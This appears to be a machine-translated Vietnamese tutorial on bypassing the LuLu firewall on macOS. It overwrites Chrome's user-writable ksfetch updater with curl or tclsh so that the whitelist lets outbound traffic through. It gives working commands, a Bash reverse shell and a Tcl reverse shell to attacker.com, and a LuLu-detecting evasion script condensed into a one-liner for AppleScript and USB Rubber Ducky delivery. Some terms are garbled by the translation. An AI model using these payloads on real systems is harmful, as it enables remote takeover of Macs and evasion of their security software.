Các giải pháp tường lửa cho macOS không bị tấn công.
Bước 1 Cài đặt LuLu lần đầu tiên
Trong quá trình cài đặt, LuLu bắt đầu tìm và liệt kê các ứng dụng Mac đã được cài đặt trong hệ điều hành.
Nếu hệ thống của tôi bị xâm phạm trước khi cài đặt LuLu, nó có thể bỏ lỡ một kết nối ngoài đáng ngờ và vô tình đưa danh sách trắng vào hoạt động. Vì lý do đó, tôi đã chọn không sử dụng tính năng đó. Tất cả các kết nối không phải của Apple sẽ được báo cáo và yêu cầu tương tác người dùng.
Tôi cũng mất vài phút để loại bỏ một số ứng dụng trong danh sách trắng dường như không cần thiết và giảm thiểu bề mặt tấn công. Nếu chúng ta xem xét các chương trình còn lại, tất cả chúng đều nằm trong các thư mục được bảo vệ không thể sửa đổi với đặc quyền người dùng (nghĩa là không có root).
Mở Google Chrome lần đầu tiên sau khi cài đặt LuLu, quy trình Trình trợ giúp Chrome đã cố gắng liên hệ với internet qua yêu cầu DNS.
Hoạt động này được cho phép trong nỗ lực không phá vỡ chức năng của ứng dụng. Cuối cùng Chrome đã cố gắng tự cập nhật bằng các quy trình ksfetch và GoogleSoftwareUpdateAgent . Ksfetch và tác nhân cập nhật là các cơ chế nổi tiếng của Google Chrome. Cả hai trường hợp đều được cho phép vì Chrome có thể không cập nhật trong tương lai mà không có chúng.
Một cái nhìn khác về các quy tắc do người dùng chỉ định của LuLu, ksfetch và GoogleSoftwareUpdateAgent có thể được tìm thấy là “được phép” ngoài một số chương trình của Apple yêu cầu quyền truy cập vào internet.
Đó là tất cả để thiết lập LuLu với một trình duyệt web duy nhất. Bất kỳ quy trình nền nào bên ngoài Chrome và các phụ thuộc của nó khi cố gắng liên hệ với máy chủ từ xa đều bị ngăn chặn.
Bước 2 Bỏ qua LuLu với các ứng dụng đã cài đặt
Việc bỏ qua được thực hiện do quyền truy cập tệp và thư mục yếu được gán cho một số ứng dụng của bên thứ ba được cài đặt bên ngoài App Store . Chúng ta hãy xem các quyền của tệp cho trình duyệt Google Chrome, được cài đặt trực tiếp từ Google thông qua trình cài đặt DMG .
~$ ls -l /Applications/
total 0
drwxr-xr-x 3 root admin 96B Jun 12 03:23 1Password 7.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Calculator.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 FaceTime.app
drwxr-xr-x@ 3 tokyoneon admin 96B Jun 4 08:50 Google Chrome.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Home.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Image Capture.app
Lưu ý rằng ứng dụng Google Chrome thuộc sở hữu của người dùng chứ không phải “root” như các ứng dụng khác. Và với cái nhìn khác về các quy tắc ksfetch và GoogleSoftwareUpdateAgent trong LuLu, chúng tôi sẽ nhận thấy cả hai tệp nhị phân đều nằm trong thư mục / Users / $ USER / Library /.
Ngoài các tệp trong thư mục Chrome, người dùng có thể sửa đổi các tệp nhị phân này. Để rõ ràng, mọi tệp trong / Người dùng / $ USER / Thư viện / và / Ứng dụng / Google \ Chrome.app/ là trò chơi công bằng cho kẻ tấn công và dễ dàng sửa đổi.
Lệnh dưới đây sẽ ghi đè ksfetch bằng curl , không được đưa vào danh sách trắng trong tường lửa LuLu.
~$ cp /usr/bin/curl /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
Mặc dù cuộn tròn không được đưa vào danh sách trắng, kẻ tấn công vẫn có thể truy cập internet theo cách này.
~$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch "https://ifconfig.me/all"
ip_addr: 198.251.89.219
remote_host: unavaiable
user_agent: curl/7.54.0
port: 28596
language:
referer:
connection:
keep_alive:
method: GET
encoding:
mime: */*
charset:
via: 1.1 google
forwarded: 198.251.89.219, 216.239.36.21~
Ksfetch được sử dụng trong ví dụ này, nhưng GoogleSoftwareUpdateAgent và Google Chrome có thể được ghi đè và sử dụng để thiết lập kết nối với máy chủ từ xa hoặc lọc dữ liệu. Tất nhiên, việc ghi đè Chrome sẽ phá vỡ các chức năng của trình duyệt. Nhưng tại thời điểm đó, một kẻ tấn công đã hoàn thành thông tin nhạy cảm. Với kiến thức này, chúng tôi có thể thiết lập tải trọng vỏ đảo ngược và điều khiển máy Mac từ xa từ mọi nơi.
Bước 3 Ghi đè Ksfetch bằng Tclsh
Ví dụ sau sử dụng lệnh tclsh , sẽ tạo ra một lớp vỏ tương tác Bash mà kẻ tấn công có thể sử dụng để thực thi các lệnh từ xa. Để có biện pháp tốt, các nhị phân tclsh và symlink đã bị chặn thủ công trong tường lửa.
Là một người dùng đặc quyền thấp, nhị phân tclsh được sao chép qua ksfetch, nó hoàn toàn ghi đè lên tệp và các chức năng của nó.
~$ cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
Lệnh tclsh được gọi bằng cách gọi trực tiếp nhị phân ksfetch . Từ thiết bị đầu cuối tương tác này, các lệnh được thực thi chính xác như với vỏ Netcat hoặc Bash.
~$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
% ls -la /
total 36
drwxr-xr-x@ 2 root wheel 64 Jun 25 09:57 .PKInstallSandboxManager-SystemSoftware
drwx------ 5 root wheel 160 Jun 5 19:36 .Spotlight-V100
drwxrwxr-x+ 138 root admin 4416 Jun 25 09:54 Applications
drwxr-xr-x+ 70 root wheel 2240 Jun 5 19:37 Library
drwxr-xr-x@ 2 root wheel 64 Oct 5 2018 Network
drwxr-xr-x@ 5 root wheel 160 Sep 21 2018 System
drwxr-xr-x 6 root admin 192 May 10 17:34 Users
drwxr-xr-x@ 5 root wheel 160 Jun 25 18:51 Volumes
drwxr-xr-x@ 37 root wheel 1184 May 22 11:14 bin
drwxrwxr-t@ 2 root admin 64 Oct 5 2018 cores
dr-xr-xr-x 3 root wheel 7834 Jun 25 09:50 dev
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 etc -> private/etc
dr-xr-xr-x 2 root wheel 1 Jun 25 16:57 home
dr-xr-xr-x 2 root wheel 1 Jun 25 16:57 net
drwxr-xr-x 3 root wheel 96 Oct 3 2018 opt
drwxr-xr-x 6 root wheel 192 Jun 5 17:49 private
drwxr-xr-x@ 64 root wheel 2048 May 22 11:14 sbin
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 tmp -> private/tmp
drwxr-xr-x@ 9 root wheel 288 Sep 21 2018 usr
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 var -> private/var
% uname -a
Darwin User-MacBook.local 18.6.0 Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDF 2019; root:xnu-4903.261.4~2/RELEASE_X86_64 x86_64
%
Bước 4 Thiết kế tải trọng với Active Evasion
Vậy, làm thế nào kẻ tấn công biết nếu hệ điều hành đã cài đặt LuLu để bắt đầu? Có thể liệt kê phần mềm bảo mật đã cài đặt bằng cách thực hiện kiểm tra gói và quan sát các bản cập nhật tự động của LuLu. Tuy nhiên, thay vào đó, chúng tôi sẽ có các dấu hiệu phát hiện tải trọng của LuLu trước khi thực hiện bất kỳ lệnh nào.
Trong ví dụ dưới đây, các quy trình nền được kiểm tra bằng lệnh ps . Như chúng ta có thể thấy, một số quy trình sử dụng tên “LuLu” đang hoạt động.
~$ ps auxwww | grep -i [l]ulu
root 94 0.3 0.7 4349052 28088 ?? Rs 1:33AM 0:18.59 /Library/Objective-See/LuLu/LuLu.bundle/Contents/MacOS/LuLu
tokyoneon 291 0.0 0.8 4924936 35092 ?? S 1:34AM 0:01.10 /Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper
Một câu lệnh Bash if đơn giản , được nhúng trong AppleScript , có thể phát hiện hiệu quả quá trình LuLu.
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
echo "LuLu not found."
else
echo "LuLu detected."
fi
Một tập lệnh thực tế vượt ra ngoài việc phát hiện các quy trình LuLu và tự động ghi đè các tệp nhị phân Google Chrome có thể xuất hiện như sau.
# The `ps` command is used to view active processes and
# locate LuLu running in the background with `grep`.
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
# An arbitrary `echo` command. If LuLu is not found the
# following commands will execute. An example Bash
# reverse shell is included.
echo "LuLu not found. Hack the planet!"
/bin/bash -i >& /dev/tcp/attacker.com/443 0>&1
else
# Arbitrary `echo` command with sad face.
echo "Lulu detected :("
# Copy the `tclsh` binary over `ksfetch`.
/bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
# TCL reverse shell, covered in the below article.
# https://null-byte.com/tcl-0186330/
echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch &
# Another `echo` command.
echo "Bypass LuLu and hack the planet!"
fi
Kịch bản có thể được cô đọng thành một dòng để hoạt động độc đáo với AppleScripts , tấn công Mousejack , và tải trọng USB Rubber Ducky .
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1; else /bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch && echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch & fi
Nếu Chrome không được cài đặt trên hệ thống đích, thì một sự phụ thuộc khác của trình duyệt thay thế là vô số với một số nỗ lực. Khám phá (các) trình duyệt đã cài đặt có thể xuất hiện như hình bên dưới.
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
echo "LuLu not found."
else
echo "LuLu detected."
if [[ -d "/Applications/Google Chrome.app/" ]]; then
echo "Chrome browser detected. Overriding Ksfetch..."
elif [[ -d "/Applications/Firefox.app/" ]]; then
echo "Firefox detected. Overriding <unknown>..."
elif [[ -d "/Applications/Opera.app/" ]]; then
echo "Opera detected. Overriding <unknown>..."
else
echo "Uh-oh, we're out of browsers to exploit..."
fi
fi
Xác định sự không phù hợp với Bypass
LuLu sẽ cho phép ksfetch (tclsh) truy cập internet với hầu hết các nỗ lực, nhưng không phải lúc nào cũng vậy. Vào một dịp nọ, tôi thấy việc khởi động lại MacBook đã khiến việc bỏ qua không thành công và kích hoạt hệ thống phát hiện của LuLu mặc dù ksfetch và các tệp nhị phân Chrome khác đã được đưa vào danh sách trắng.
Tôi đã không dành nhiều thời gian với LuLu nhưng khuyến khích bất cứ ai quan tâm đến cuộc tấn công này tìm hiểu khi nào và tại sao đôi khi nó sẽ dừng các quy trình trong danh sách trắng.
Không có phần mềm bảo mật nào là hoàn hảo
Bài viết này không có nghĩa là một cuộc tấn công vào các nhà phát triển của LuLu . Nó chỉ minh họa cách phần mềm bảo mật không hoàn hảo và không có hệ thống nào được bảo vệ hoàn toàn trong khi sử dụng nó.
LuLu là một giải pháp tường lửa tuyệt vời được thiết kế để ngăn chặn các cuộc tấn công thụ động và phổ biến. Giống như hầu hết các phần mềm, nó không được thiết kế để chống lại một cuộc tấn công có chủ đích liên quan đến việc trốn tránh hoạt động . Điều này có nghĩa là chúng ta nên ngừng sử dụng LuLu và các giải pháp bảo mật khác? Tuyệt đối không. Mặc dù lỗ hổng này dễ dàng được sao chép và không được coi là một lỗ hổng đáng kể, phần mềm tường lửa như LuLu vẫn có thể ngăn chặn các cuộc tấn công. Ví dụ, với kết nối tclsh đã được thiết lập, kẻ tấn công bị giới hạn ở một số công cụ tích hợp không có trong danh sách trắng trong tường lửa. Tải xuống phần mềm bổ sung hoặc lọc dữ liệu khó khăn hơn nhiều, nhờ LuLu.